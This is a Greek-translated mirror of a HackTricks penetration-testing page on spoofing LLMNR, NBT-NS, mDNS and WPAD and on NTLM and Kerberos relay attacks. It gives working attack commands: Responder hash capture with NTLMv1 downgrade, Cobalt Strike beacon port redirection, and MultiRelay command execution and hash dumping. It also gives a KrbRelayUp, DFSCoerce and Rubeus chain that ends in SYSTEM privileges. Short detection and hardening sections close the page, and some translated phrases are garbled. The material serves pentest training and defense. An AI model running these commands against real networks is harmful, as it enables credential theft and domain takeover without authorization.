mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
230 lines
21 KiB
Markdown
230 lines
21 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Network Protocols
|
||
|
||
### Local Host Resolution Protocols
|
||
|
||
- **LLMNR, NBT-NS, and mDNS**:
|
||
- Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS.
|
||
- Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP.
|
||
- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να προσποιηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα.
|
||
- Περαιτέρω πληροφορίες σχετικά με την προσποίηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||
|
||
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||
|
||
- Το WPAD επιτρέπει στους περιηγητές να ανακαλύπτουν αυτόματα τις ρυθμίσεις του proxy.
|
||
- Η ανακάλυψη διευκολύνεται μέσω DHCP, DNS ή εναλλακτικά μέσω LLMNR και NBT-NS αν αποτύχει το DNS.
|
||
- Το Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, κατευθύνοντας τους πελάτες σε κακόβουλους διακομιστές WPAD.
|
||
|
||
### Responder for Protocol Poisoning
|
||
|
||
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB.
|
||
- Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο `/etc/responder/Responder.conf`.
|
||
- Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο `/usr/share/responder/logs`.
|
||
- Υποστηρίζει τόσο IPv4 όσο και IPv6.
|
||
- Η έκδοση Windows του Responder είναι διαθέσιμη [εδώ](https://github.com/lgandx/Responder-Windows).
|
||
|
||
#### Running Responder
|
||
|
||
- Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις: `responder -I <Interface>`
|
||
- Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): `responder -I <Interface> -P -r -v`
|
||
- Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: `responder -I <Interface> --lm --disable-ess`
|
||
- Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I <Interface> --wpad`
|
||
- Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I <interface> -Pv`
|
||
|
||
### DHCP Poisoning with Responder
|
||
|
||
- Η πλαστογράφηση των απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο διακριτική εναλλακτική λύση από την δηλητηρίαση ARP.
|
||
- Απαιτεί ακριβή γνώση της διαμόρφωσης του δικτύου στόχου.
|
||
- Εκτέλεση της επίθεσης: `./Responder.py -I eth0 -Pdv`
|
||
- Αυτή η μέθοδος μπορεί να καταγράψει αποτελεσματικά τους κατακερματισμούς NTLMv1/2, αλλά απαιτεί προσεκτική διαχείριση για να αποφευχθεί η διακοπή του δικτύου.
|
||
|
||
### Capturing Credentials with Responder
|
||
|
||
- Το Responder θα προσποιηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες.
|
||
- Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων.
|
||
|
||
Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση.
|
||
|
||
## Inveigh
|
||
|
||
Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) και [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||
|
||
Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell:
|
||
```bash
|
||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||
```
|
||
Ή εκτελείται ως δυαδικό αρχείο C#:
|
||
```bash
|
||
Inveigh.exe
|
||
```
|
||
### NTLM Relay Attack
|
||
|
||
Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν:
|
||
|
||
- Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή.
|
||
- Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη.
|
||
|
||
#### 445 Port Forwarding and Tunneling
|
||
|
||
Σε σενάρια όπου η άμεση εισαγωγή δικτύου δεν είναι εφικτή, η κίνηση στην πόρτα 445 πρέπει να προωθηθεί και να τούνελ. Εργαλεία όπως το [**PortBender**](https://github.com/praetorian-inc/PortBender) βοηθούν στην ανακατεύθυνση της κίνησης της πόρτας 445 σε άλλη πόρτα, κάτι που είναι απαραίτητο όταν υπάρχει πρόσβαση local admin για τη φόρτωση οδηγών.
|
||
|
||
PortBender setup and operation in Cobalt Strike:
|
||
```bash
|
||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||
|
||
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
||
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
||
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
||
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
||
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
||
|
||
# Termination commands
|
||
beacon> jobs
|
||
beacon> jobkill 0
|
||
beacon> rportfwd stop 8445
|
||
beacon> socks stop
|
||
```
|
||
### Άλλα Εργαλεία για Επίθεση NTLM Relay
|
||
|
||
- **Metasploit**: Ρυθμισμένο με proxies, λεπτομέρειες τοπικών και απομακρυσμένων hosts.
|
||
- **smbrelayx**: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors.
|
||
- **MultiRelay**: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes.
|
||
|
||
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
|
||
|
||
### Λειτουργία MultiRelay
|
||
|
||
Το MultiRelay εκτελείται από τον _**/usr/share/responder/tools**_ φάκελο, στοχεύοντας συγκεκριμένες IP ή χρήστες.
|
||
```bash
|
||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||
|
||
# Proxychains for routing traffic
|
||
```
|
||
Αυτά τα εργαλεία και οι τεχνικές σχηματίζουν ένα ολοκληρωμένο σύνολο για την εκτέλεση επιθέσεων NTLM Relay σε διάφορα δίκτυα.
|
||
|
||
### Εξαναγκασμός NTLM Συνδέσεων
|
||
|
||
Στα Windows, **μπορεί να είστε σε θέση να εξαναγκάσετε κάποιους προνομιούχους λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές**. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:
|
||
|
||
{{#ref}}
|
||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||
{{#endref}}
|
||
|
||
## Επίθεση Kerberos Relay
|
||
|
||
Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί ακόμη και αν οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/` → `LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.
|
||
|
||
Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην *ίδια υποδοχή*, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με μία μόνο κίνηση.
|
||
|
||
Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση, ελέγξτε:
|
||
|
||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||
|
||
- 1. **Βασικές έννοιες Kerberos**
|
||
|
||
| Token | Σκοπός | Σχέση με Relay |
|
||
|-------|---------|-----------------|
|
||
| **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο |
|
||
| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν τα SPNs μοιράζονται λογαριασμό |
|
||
| **AP-REQ** | Ο πελάτης στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναχρησιμοποιούμε** |
|
||
|
||
* Τα εισιτήρια κρυπτογραφούνται με το **κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN**.
|
||
* Ο **Authenticator** μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο.
|
||
* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται σωστά σε `LDAP/HOST`.
|
||
|
||
- 2. **Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos**
|
||
|
||
1. **Κοινό κλειδί:** οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers).
|
||
2. **Καμία προστασία καναλιού:** SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS.
|
||
3. **Μπορείτε να παγιδεύσετε ή να εξαναγκάσετε την αυθεντικοποίηση:** LLMNR/NBNS δηλητηρίαση, DNS spoof, **PetitPotam / DFSCoerce RPC**, ψεύτικο AuthIP, κακόβουλο DCOM, κ.λπ..
|
||
4. **Η πηγή του εισιτηρίου δεν έχει ήδη χρησιμοποιηθεί:** κερδίζετε τον αγώνα πριν το πραγματικό πακέτο φτάσει ή το αποκλείετε εντελώς; διαφορετικά, η προσωρινή μνήμη επαναχρησιμοποίησης του διακομιστή ενεργοποιεί το Event 4649.
|
||
5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα **MitM στην επικοινωνία**, ίσως ανήκοντας στην ομάδα DNSAmins για να τροποποιήσετε το DNS του τομέα ή να μπορείτε να αλλάξετε το αρχείο HOST του θύματος.
|
||
|
||
### Βήματα Kerberos Relay
|
||
|
||
- 3.1 **Αναγνώριση της υποδοχής**
|
||
```powershell
|
||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||
Select Name,servicePrincipalName
|
||
```
|
||
- 3.2 **Ξεκινήστε τον δέκτη αναμετάδοσης**
|
||
|
||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||
```powershell
|
||
# one-click local SYSTEM via RBCD
|
||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||
```
|
||
`KrbRelayUp` περιλαμβάνει **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** σε ένα εκτελέσιμο αρχείο.
|
||
|
||
- 3.3 **Εξαναγκασμός αυθεντικοποίησης Kerberos**
|
||
```powershell
|
||
# coerce DC to auth over SMB with DFSCoerce
|
||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||
```
|
||
DFSCoerce κάνει το DC να μας στείλει ένα Kerberos `CIFS/DC01` εισιτήριο.
|
||
|
||
- 3.4 **Μεταφορά του AP-REQ**
|
||
|
||
Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί.
|
||
|
||
- 3.5 **Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM**
|
||
```powershell
|
||
# (auto inside KrbRelayUp) manual for clarity
|
||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||
SCMUACBypass.exe
|
||
```
|
||
You now own **NT AUTHORITY\SYSTEM**.
|
||
|
||
### **Περισσότεροι δρόμοι που αξίζει να γνωρίζετε**
|
||
|
||
| Vector | Trick | Why it matters |
|
||
|--------|-------|----------------|
|
||
| **AuthIP / IPSec** | Ψεύτικος διακομιστής στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή |
|
||
| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας |
|
||
| **AD CS Web Enroll** | Μεταβιβάστε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP |
|
||
| **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή |
|
||
|
||
### **Αντιμετώπιση προβλημάτων**
|
||
|
||
| Error | Meaning | Fix |
|
||
|-------|---------|-----|
|
||
| `KRB_AP_ERR_MODIFIED` | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN |
|
||
| `KRB_AP_ERR_SKEW` | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε `w32tm` |
|
||
| Αποτυχία σύνδεσης LDAP | Η υπογραφή επιβάλλεται | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή |
|
||
| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο |
|
||
|
||
### **Ανίχνευση**
|
||
|
||
* Άνοδος σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή εντός δευτερολέπτων.
|
||
* **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης.
|
||
* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
|
||
* Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`.
|
||
|
||
## **Σκληραγώγηση**
|
||
|
||
1. **Επιβάλλετε την υπογραφή LDAP & SMB + EPA** σε κάθε διακομιστή.
|
||
2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP.
|
||
3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP).
|
||
4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών.
|
||
5. Ειδοποιήστε για **Event 4649** και απροσδόκητες συνδέσεις Kerberos loopback.
|
||
|
||
## Αναφορές
|
||
|
||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|